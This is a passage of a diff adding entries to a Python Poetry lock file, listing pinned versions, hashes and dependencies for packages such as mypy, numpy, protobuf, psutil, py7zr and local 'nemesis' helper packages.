+ {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"},
+ {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"},
+ {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"},
+ {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"},
+ {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"},
+ {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"},
+ {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"},
+ {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = "sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"},
+ {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"},
+ {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"},
+ {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"},
+ {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"},
+ {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"},
+ {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"},
+ {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"},
+ {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"},
+]
+
+[package.dependencies]
+mypy-extensions = ">=0.4.3"
+typing-extensions = ">=3.10"
+
+[package.extras]
+dmypy = ["psutil (>=4.0)"]
+python2 = ["typed-ast (>=1.4.0,<2)"]
+reports = ["lxml"]
+
+[[package]]
+name = "mypy-extensions"
+version = "1.0.0"
+description = "Type system extensions for programs checked with the mypy type checker."
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"},
+ {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"},
+]
+
+[[package]]
+name = "mypy-protobuf"
+version = "3.4.0"
+description = "Generate mypy stub files from protobuf specs"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"},
+ {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"},
+]
+
+[package.dependencies]
+protobuf = ">=4.21.8"
+types-protobuf = ">=3.20.4"
+
+[[package]]
+name = "nemesiscommon"
+version = "0.2.2"
+description = "Common nemesis helper functions"
+optional = false
+python-versions = "^3.9"
+files = []
+develop = true
+
+[package.dependencies]
+aio-pika = "^8.3.0"
+aioboto3 = "^10.4.0"
+boto3 = "^1.24.59"
+miniopy-async = "^1.15"
+nemesispb = {path = "../nemesispb", develop = true}
+prometheus-async = {version = "^22.2.0", extras = ["aiohttp"]}
+pycryptodomex = "^3.15.0"
+pydantic = "^1.10.4"
+pyyaml = "^6.0"
+requests = "^2.28.1"
+rich = "^13.3.3"
+structlog = "^23.1.0"
+tenacity = "^8.0.1"
+typing-extensions = "^4.4.0"
+winacl = "^0.1.7"
+yara-python = "^4.3.0"
+
+[package.source]
+type = "directory"
+url = "../../packages/python/nemesiscommon"
+
+[[package]]
+name = "nemesispb"
+version = "0.1.0"
+description = "Nemesis python protobuf"
+optional = false
+python-versions = "^3.9"
+files = []
+develop = true
+
+[package.dependencies]
+mypy-protobuf = "^3.4.0"
+protobuf = "^4.21.5"
+
+[package.source]
+type = "directory"
+url = "../../packages/python/nemesispb"
+
+[[package]]
+name = "nltk"
+version = "3.8.1"
+description = "Natural Language Toolkit"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "nltk-3.8.1-py3-none-any.whl", hash = "sha256:fd5c9109f976fa86bcadba8f91e47f5e9293bd034474752e92a520f81c93dda5"},
+ {file = "nltk-3.8.1.zip", hash = "sha256:1834da3d0682cba4f2cede2f9aad6b0fafb6461ba451db0efb6f9c39798d64d3"},
+]
+
+[package.dependencies]
+click = "*"
+joblib = "*"
+regex = ">=2021.8.3"
+tqdm = "*"
+
+[package.extras]
+all = ["matplotlib", "numpy", "pyparsing", "python-crfsuite", "requests", "scikit-learn", "scipy", "twython"]
+corenlp = ["requests"]
+machine-learning = ["numpy", "python-crfsuite", "scikit-learn", "scipy"]
+plot = ["matplotlib"]
+tgrep = ["pyparsing"]
+twitter = ["twython"]
+
+[[package]]
+name = "nodeenv"
+version = "1.8.0"
+description = "Node.js virtual environment builder"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*"
+files = [
+ {file = "nodeenv-1.8.0-py2.py3-none-any.whl", hash = "sha256:df865724bb3c3adc86b3876fa209771517b0cfe596beff01a92700e0e8be4cec"},
+ {file = "nodeenv-1.8.0.tar.gz", hash = "sha256:d51e0c37e64fbf47d017feac3145cdbb58836d7eee8c6f6d3b6880c5456227d2"},
+]
+
+[package.dependencies]
+setuptools = "*"
+
+[[package]]
+name = "numpy"
+version = "1.25.1"
+description = "Fundamental package for array computing in Python"
+optional = false
+python-versions = ">=3.9"
+files = [
+ {file = "numpy-1.25.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:77d339465dff3eb33c701430bcb9c325b60354698340229e1dff97745e6b3efa"},
+ {file = "numpy-1.25.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d736b75c3f2cb96843a5c7f8d8ccc414768d34b0a75f466c05f3a739b406f10b"},
+ {file = "numpy-1.25.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a90725800caeaa160732d6b31f3f843ebd45d6b5f3eec9e8cc287e30f2805bf"},
+ {file = "numpy-1.25.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c6c9261d21e617c6dc5eacba35cb68ec36bb72adcff0dee63f8fbc899362588"},
+ {file = "numpy-1.25.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:0def91f8af6ec4bb94c370e38c575855bf1d0be8a8fbfba42ef9c073faf2cf19"},
+ {file = "numpy-1.25.1-cp310-cp310-win32.whl", hash = "sha256:fd67b306320dcadea700a8f79b9e671e607f8696e98ec255915c0c6d6b818503"},
+ {file = "numpy-1.25.1-cp310-cp310-win_amd64.whl", hash = "sha256:c1516db588987450b85595586605742879e50dcce923e8973f79529651545b57"},
+ {file = "numpy-1.25.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6b82655dd8efeea69dbf85d00fca40013d7f503212bc5259056244961268b66e"},
+ {file = "numpy-1.25.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e8f6049c4878cb16960fbbfb22105e49d13d752d4d8371b55110941fb3b17800"},
+ {file = "numpy-1.25.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41a56b70e8139884eccb2f733c2f7378af06c82304959e174f8e7370af112e09"},
+ {file = "numpy-1.25.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5154b1a25ec796b1aee12ac1b22f414f94752c5f94832f14d8d6c9ac40bcca6"},
+ {file = "numpy-1.25.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:38eb6548bb91c421261b4805dc44def9ca1a6eef6444ce35ad1669c0f1a3fc5d"},
+ {file = "numpy-1.25.1-cp311-cp311-win32.whl", hash = "sha256:791f409064d0a69dd20579345d852c59822c6aa087f23b07b1b4e28ff5880fcb"},
+ {file = "numpy-1.25.1-cp311-cp311-win_amd64.whl", hash = "sha256:c40571fe966393b212689aa17e32ed905924120737194b5d5c1b20b9ed0fb171"},
+ {file = "numpy-1.25.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3d7abcdd85aea3e6cdddb59af2350c7ab1ed764397f8eec97a038ad244d2d105"},
+ {file = "numpy-1.25.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a180429394f81c7933634ae49b37b472d343cccb5bb0c4a575ac8bbc433722f"},
+ {file = "numpy-1.25.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d412c1697c3853c6fc3cb9751b4915859c7afe6a277c2bf00acf287d56c4e625"},
+ {file = "numpy-1.25.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20e1266411120a4f16fad8efa8e0454d21d00b8c7cee5b5ccad7565d95eb42dd"},
+ {file = "numpy-1.25.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:f76aebc3358ade9eacf9bc2bb8ae589863a4f911611694103af05346637df1b7"},
+ {file = "numpy-1.25.1-cp39-cp39-win32.whl", hash = "sha256:247d3ffdd7775bdf191f848be8d49100495114c82c2bd134e8d5d075fb386a1c"},
+ {file = "numpy-1.25.1-cp39-cp39-win_amd64.whl", hash = "sha256:1d5d3c68e443c90b38fdf8ef40e60e2538a27548b39b12b73132456847f4b631"},
+ {file = "numpy-1.25.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:35a9527c977b924042170a0887de727cd84ff179e478481404c5dc66b4170009"},
+ {file = "numpy-1.25.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0d3fe3dd0506a28493d82dc3cf254be8cd0d26f4008a417385cbf1ae95b54004"},
+ {file = "numpy-1.25.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:012097b5b0d00a11070e8f2e261128c44157a8689f7dedcf35576e525893f4fe"},
+ {file = "numpy-1.25.1.tar.gz", hash = "sha256:9a3a9f3a61480cc086117b426a8bd86869c213fc4072e606f01c4e4b66eb92bf"},
+]
+
+[[package]]
+name = "olefile"
+version = "0.46"
+description = "Python package to parse, read and write Microsoft OLE2 files (Structured Storage or Compound Document, Microsoft Office)"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "olefile-0.46.zip", hash = "sha256:133b031eaf8fd2c9399b78b8bc5b8fcbe4c31e85295749bb17a87cba8f3c3964"},
+]
+
+[[package]]
+name = "packaging"
+version = "23.1"
+description = "Core utilities for Python packages"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"},
+ {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"},
+]
+
+[[package]]
+name = "pamqp"
+version = "3.2.1"
+description = "RabbitMQ Focused AMQP low-level library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pamqp-3.2.1-py2.py3-none-any.whl", hash = "sha256:15acef752356593ca569d13dfedc8ada9f17deeeb8cec4f7b77825e2b6c7de3e"},
+ {file = "pamqp-3.2.1.tar.gz", hash = "sha256:22550ceb1ca50aafda65873e77e8c1c1b139fb5975e1a09860fae940cf8e970a"},
+]
+
+[package.extras]
+codegen = ["lxml", "requests", "yapf"]
+testing = ["coverage", "flake8", "flake8-comprehensions", "flake8-deprecated", "flake8-import-order", "flake8-print", "flake8-quotes", "flake8-rst-docstrings", "flake8-tuple", "yapf"]
+
+[[package]]
+name = "pathspec"
+version = "0.11.1"
+description = "Utility library for gitignore style pattern matching of file paths."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"},
+ {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"},
+]
+
+[[package]]
+name = "pbr"
+version = "5.11.1"
+description = "Python Build Reasonableness"
+optional = false
+python-versions = ">=2.6"
+files = [
+ {file = "pbr-5.11.1-py2.py3-none-any.whl", hash = "sha256:567f09558bae2b3ab53cb3c1e2e33e726ff3338e7bae3db5dc954b3a44eef12b"},
+ {file = "pbr-5.11.1.tar.gz", hash = "sha256:aefc51675b0b533d56bb5fd1c8c6c0522fe31896679882e1c4c63d5e4a0fccb3"},
+]
+
+[[package]]
+name = "pefile"
+version = "2022.5.30"
+description = "Python PE parsing module"
+optional = false
+python-versions = ">=3.6.0"
+files = [
+ {file = "pefile-2022.5.30.tar.gz", hash = "sha256:a5488a3dd1fd021ce33f969780b88fe0f7eebb76eb20996d7318f307612a045b"},
+]
+
+[package.dependencies]
+future = "*"
+
+[[package]]
+name = "platformdirs"
+version = "3.8.1"
+description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "platformdirs-3.8.1-py3-none-any.whl", hash = "sha256:cec7b889196b9144d088e4c57d9ceef7374f6c39694ad1577a0aab50d27ea28c"},
+ {file = "platformdirs-3.8.1.tar.gz", hash = "sha256:f87ca4fcff7d2b0f81c6a748a77973d7af0f4d526f98f308477c3c436c74d528"},
+]
+
+[package.extras]
+docs = ["furo (>=2023.5.20)", "proselint (>=0.13)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"]
+test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)"]
+
+[[package]]
+name = "pluggy"
+version = "1.2.0"
+description = "plugin and hook calling mechanisms for python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pluggy-1.2.0-py3-none-any.whl", hash = "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849"},
+ {file = "pluggy-1.2.0.tar.gz", hash = "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3"},
+]
+
+[package.extras]
+dev = ["pre-commit", "tox"]
+testing = ["pytest", "pytest-benchmark"]
+
+[[package]]
+name = "prometheus-async"
+version = "22.2.0"
+description = "Async helpers for prometheus_client."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "prometheus-async-22.2.0.tar.gz", hash = "sha256:b0426370eb3b3bacd99afcf1fcc669c118cb67603cc951a6fe12434e9d4307f2"},
+ {file = "prometheus_async-22.2.0-py3-none-any.whl", hash = "sha256:5cbfa535561342b834c087c4f3f3be0a3cb8785a0b8748111c916f3d68bbc370"},
+]
+
+[package.dependencies]
+aiohttp = {version = ">=3", optional = true, markers = "extra == \"aiohttp\""}
+prometheus_client = ">=0.8.0"
+wrapt = "*"
+
+[package.extras]
+aiohttp = ["aiohttp (>=3)"]
+consul = ["aiohttp (>=3)"]
+dev = ["aiohttp", "cogapp", "coverage[toml]", "furo", "mypy", "myst-parser", "pre-commit", "pytest", "pytest-asyncio", "pytest-twisted", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "tomli", "twisted"]
+docs = ["aiohttp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "twisted"]
+tests = ["coverage[toml]", "pytest", "pytest-asyncio"]
+twisted = ["twisted"]
+
+[[package]]
+name = "prometheus-client"
+version = "0.17.1"
+description = "Python client for the Prometheus monitoring system."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "prometheus_client-0.17.1-py3-none-any.whl", hash = "sha256:e537f37160f6807b8202a6fc4764cdd19bac5480ddd3e0d463c3002b34462101"},
+ {file = "prometheus_client-0.17.1.tar.gz", hash = "sha256:21e674f39831ae3f8acde238afd9a27a37d0d2fb5a28ea094f0ce25d2cbf2091"},
+]
+
+[package.extras]
+twisted = ["twisted"]
+
+[[package]]
+name = "protobuf"
+version = "4.23.4"
+description = ""
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "protobuf-4.23.4-cp310-abi3-win32.whl", hash = "sha256:5fea3c64d41ea5ecf5697b83e41d09b9589e6f20b677ab3c48e5f242d9b7897b"},
+ {file = "protobuf-4.23.4-cp310-abi3-win_amd64.whl", hash = "sha256:7b19b6266d92ca6a2a87effa88ecc4af73ebc5cfde194dc737cf8ef23a9a3b12"},
+ {file = "protobuf-4.23.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:8547bf44fe8cec3c69e3042f5c4fb3e36eb2a7a013bb0a44c018fc1e427aafbd"},
+ {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:fee88269a090ada09ca63551bf2f573eb2424035bcf2cb1b121895b01a46594a"},
+ {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:effeac51ab79332d44fba74660d40ae79985901ac21bca408f8dc335a81aa597"},
+ {file = "protobuf-4.23.4-cp37-cp37m-win32.whl", hash = "sha256:c3e0939433c40796ca4cfc0fac08af50b00eb66a40bbbc5dee711998fb0bbc1e"},
+ {file = "protobuf-4.23.4-cp37-cp37m-win_amd64.whl", hash = "sha256:9053df6df8e5a76c84339ee4a9f5a2661ceee4a0dab019e8663c50ba324208b0"},
+ {file = "protobuf-4.23.4-cp38-cp38-win32.whl", hash = "sha256:e1c915778d8ced71e26fcf43c0866d7499891bca14c4368448a82edc61fdbc70"},
+ {file = "protobuf-4.23.4-cp38-cp38-win_amd64.whl", hash = "sha256:351cc90f7d10839c480aeb9b870a211e322bf05f6ab3f55fcb2f51331f80a7d2"},
+ {file = "protobuf-4.23.4-cp39-cp39-win32.whl", hash = "sha256:6dd9b9940e3f17077e820b75851126615ee38643c2c5332aa7a359988820c720"},
+ {file = "protobuf-4.23.4-cp39-cp39-win_amd64.whl", hash = "sha256:0a5759f5696895de8cc913f084e27fd4125e8fb0914bb729a17816a33819f474"},
+ {file = "protobuf-4.23.4-py3-none-any.whl", hash = "sha256:e9d0be5bf34b275b9f87ba7407796556abeeba635455d036c7351f7c183ef8ff"},
+ {file = "protobuf-4.23.4.tar.gz", hash = "sha256:ccd9430c0719dce806b93f89c91de7977304729e55377f872a92465d548329a9"},
+]
+
+[[package]]
+name = "psutil"
+version = "5.9.5"
+description = "Cross-platform lib for process and system monitoring in Python."
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "psutil-5.9.5-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:be8929ce4313f9f8146caad4272f6abb8bf99fc6cf59344a3167ecd74f4f203f"},
+ {file = "psutil-5.9.5-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ab8ed1a1d77c95453db1ae00a3f9c50227ebd955437bcf2a574ba8adbf6a74d5"},
+ {file = "psutil-5.9.5-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:4aef137f3345082a3d3232187aeb4ac4ef959ba3d7c10c33dd73763fbc063da4"},
+ {file = "psutil-5.9.5-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:ea8518d152174e1249c4f2a1c89e3e6065941df2fa13a1ab45327716a23c2b48"},
+ {file = "psutil-5.9.5-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:acf2aef9391710afded549ff602b5887d7a2349831ae4c26be7c807c0a39fac4"},
+ {file = "psutil-5.9.5-cp27-none-win32.whl", hash = "sha256:5b9b8cb93f507e8dbaf22af6a2fd0ccbe8244bf30b1baad6b3954e935157ae3f"},
+ {file = "psutil-5.9.5-cp27-none-win_amd64.whl", hash = "sha256:8c5f7c5a052d1d567db4ddd231a9d27a74e8e4a9c3f44b1032762bd7b9fdcd42"},
+ {file = "psutil-5.9.5-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:3c6f686f4225553615612f6d9bc21f1c0e305f75d7d8454f9b46e901778e7217"},
+ {file = "psutil-5.9.5-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7a7dd9997128a0d928ed4fb2c2d57e5102bb6089027939f3b722f3a210f9a8da"},
+ {file = "psutil-5.9.5-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89518112647f1276b03ca97b65cc7f64ca587b1eb0278383017c2a0dcc26cbe4"},
+ {file = "psutil-5.9.5-cp36-abi3-win32.whl", hash = "sha256:104a5cc0e31baa2bcf67900be36acde157756b9c44017b86b2c049f11957887d"},
+ {file = "psutil-5.9.5-cp36-abi3-win_amd64.whl", hash = "sha256:b258c0c1c9d145a1d5ceffab1134441c4c5113b2417fafff7315a917a026c3c9"},
+ {file = "psutil-5.9.5-cp38-abi3-macosx_11_0_arm64.whl", hash = "sha256:c607bb3b57dc779d55e1554846352b4e358c10fff3abf3514a7a6601beebdb30"},
+ {file = "psutil-5.9.5.tar.gz", hash = "sha256:5410638e4df39c54d957fc51ce03048acd8e6d60abc0f5107af51e5fb566eb3c"},
+]
+
+[package.extras]
+test = ["enum34", "ipaddress", "mock", "pywin32", "wmi"]
+
+[[package]]
+name = "py7zr"
+version = "0.20.5"
+description = "Pure python 7-zip library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "py7zr-0.20.5-py3-none-any.whl", hash = "sha256:17fe8bb9379ef1d416e6e400f29158ad71dc409869c7206d880441c70806f07f"},
+ {file = "py7zr-0.20.5.tar.gz", hash = "sha256:6fb4889c0fa32581818a3366984083253585d6c794e82c3242b8a12d6aeaabd3"},
+]
+
+[package.dependencies]
+brotli = {version = ">=1.0.9", markers = "platform_python_implementation == \"CPython\""}
+brotlicffi = {version = ">=1.0.9.2", markers = "platform_python_implementation == \"PyPy\""}
+inflate64 = {version = ">=0.3.1", markers = "python_version > \"3.6\""}
+multivolumefile = ">=0.2.3"
+psutil = {version = "*", markers = "sys_platform != \"cygwin\""}
+pybcj = ">=0.6.0"
+pycryptodomex = ">=3.6.6"
+pyppmd = ">=0.18.1,<1.1.0"
+pyzstd = ">=0.14.4"
+texttable = "*"
+
+[package.extras]
+check = ["black (>=23.1.0)", "check-manifest", "flake8 (<7)", "flake8-black (>=0.3.6)", "flake8-deprecated", "flake8-isort", "isort (>=5.0.3)", "mypy (>=0.940)", "mypy-extensions (>=0.4.1)", "pygments", "readme-renderer", "twine", "types-psutil"]
+debug = ["pytest", "pytest-leaks", "pytest-profiling"]
+docs = ["docutils", "sphinx (>=5.0)", "sphinx-a4doc", "sphinx-py3doc-enhanced-theme"]
+test = ["coverage[toml] (>=5.2)", "coveralls (>=2.1.1)", "py-cpuinfo", "pyannotate", "pytest", "pytest-benchmark", "pytest-cov", "pytest-remotedata", "pytest-timeout"]
+test-compat = ["libarchive-c"]
+
+[[package]]
+name = "pyasn1"
+version = "0.5.0"
+description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
+files = [
+ {file = "pyasn1-0.5.0-py2.py3-none-any.whl", hash = "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57"},
+ {file = "pyasn1-0.5.0.tar.gz", hash = "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde"},
+]
+
+[[package]]
+name = "pybcj"
+version = "1.0.1"
+description = "bcj filter library"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pybcj-1.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20fc0d8f67e2d9747e0c31082d5f64b112258ae602a85aa5c7e6bf5a7cad287b"},
+ {file = "pybcj-1.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:43e8bc75773ca06ee7a64602b799613171e4edf4d9d8fd38fa5c49f1cdbb4407"},
+ {file = "pybcj-1.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a81f14f213a75597f9be44feb97740a51adda558465fb159114472dc2ab39ef8"},
+ {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:225a0addf4b3d580bf4eae583b5168dac0125a703c53ded8b3f120882e1e0312"},
+ {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc79ed4773cd35328377a8fedbbdcafb3a9d242ee63b96863c0692c81faefab8"},
+ {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0eaa90639992b6096afb1485380fae7f084483db6b92867847a3bfdf22cc4efc"},
+ {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:570a3cf4e016dcb0fc561991833e5170a2a0bc6ee88fe5667591f356bd7b7895"},
+ {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:46b82fe50eb8171ee2205e935f3fd5900e31beb5e54e10c88f23a5420902467d"},
+ {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:2d6b34ec233fcf5a83ccfbf422fef22256947eaa7077aaa012e5961d15aa302c"},
+ {file = "pybcj-1.0.1-cp310-cp310-win32.whl", hash = "sha256:fa787b414c4dc6b6cd75338fac18a7dbb53a09443dd863020a2d2bda76940ca6"},
+ {file = "pybcj-1.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:970dc23ca1c64611d35a3abe76a059cf551da53d62faefd84c5bf3e0af1602d1"},
+ {file = "pybcj-1.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c854a206d8c3a5a959b803405760f3627bb4878450e2f36b5d35af09c89152fc"},
+ {file = "pybcj-1.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:21098001200273c3c9fd90e7bf909fb905a8e1c102c80b604cb7c6a3103ef7e0"},
+ {file = "pybcj-1.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:39dd836134e261ec769cd5aa9ae7a3a330a7dac81efb66eb5504643abd8235df"},
+ {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:acfc4a02ddf22f6df7184441b39f38c31e95aa8af41de4d2f825821ab1fb85c6"},
+ {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f4428b6808d781f4b605a27f53fc10a3ca343d1cd901c691b9ba2e4ed85a5fc7"},
+ {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74d34340323996b70dbd73e9530cca71c05ff7c97e30fe4d32aeea2f877836ca"},
+ {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bf87f2a7f827656bc6e1d9888d47931aa0ae35cdc4ff33b1cec70d8d462590b3"},
